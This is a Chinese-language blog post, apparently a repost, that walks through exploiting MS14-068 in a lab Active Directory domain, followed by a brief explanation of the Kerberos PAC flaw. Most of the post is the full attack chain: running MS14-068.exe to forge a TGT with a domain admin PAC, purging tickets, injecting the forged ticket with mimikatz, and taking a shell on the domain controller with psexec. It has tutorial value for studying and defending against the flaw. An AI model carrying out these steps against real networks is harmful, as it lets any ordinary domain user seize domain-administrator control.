目录
前言
利用过程
原理浅析
小结
前言
漏洞本质
伪造高权限的PAC,获取高权限的身份
达成效果
允许域内任何普通用户,将自己摇身一变为域管理员身份
对应补丁
KB3011780
利用
伪造TGT
用户主体名称 (UPN) [-u]:NEO@ADCS.LAB用户密码 [-p]: P@ssword用户安全标识符 (SID) [-s]:S-1-5-21-1473643419-774954089-2222329127-1110目标域控 [-d]:DC.ADSEC.LAB 或者 域控IP地址
用到的命令
# 查看是否已打补丁systeminfo |findstr "3011780"# 查看安全标识符 SIDwhoami user
利用工具
MS14-068
MS14-068.exe -u liwei@adsec.lab -s S-1-5-21-3519724315-1664904613-68949924-1105 -d 192.168.100.254 -p P@sswordMS14-068.exe -u liwei@adsec.lab -s S-1-5-21-3519724315-1664904613-68949924-1105 -d DC.ADSEC.LAB -p P@ssword


清除本地历史票据
klist purge
验证当前对域控的访问权限
dir \\DC.ADSEC.LAB\c$

使用mimikatz将伪造的Kerberos TGT注入到到当前用户会话中
kerberos::ptc TGT_liwei@adsec.lab.ccache

再次访问域控

使用psexec64成功拿下域控
psexec64 \\DC cmd.exe

原理浅析
其实出现这个问题的关键点在于PAC(特权属性证书:验证用户所拥有的权限)
先大致回顾一下Kerberos的认证流程
其中,PAC是默认包含在TGT中的;
通常情况下,AS_REQ 请求中如果include-pac被置为 true,只要 AS 服务通过了域用户的认证,则会在返回的 AS_REP 数据包中的 TGT 中加入 PAC 信息;
而如果在 AS_REQ 请求时,include-pac被置为 false,则 AS_REP 返回的 TGT 中就不会包含 PAC 信息。

pykek涉及include-pac的部分
于是,在AS_REP返回的TGT中没有PAC信息后,域用户则可以伪造"恶意"的PAC放入TGS_REQ中,KDC解密PAC后会再次加密到一个新的TGT中并返回给域用户,此时的TGT中已经携带了“恶意”PAC,也就达到漏洞利用的目的。
至于后面都是正常的认证流程,和漏洞产生没啥太大联系。涉及的具体原理和细节,还在啃。。。
小结
稳住,还能赢。
参考:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068https://github.com/mubix/pykek/https://blog.csdn.net/zy_strive_2012/article/details/51698780
文章转载自pen4uin,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




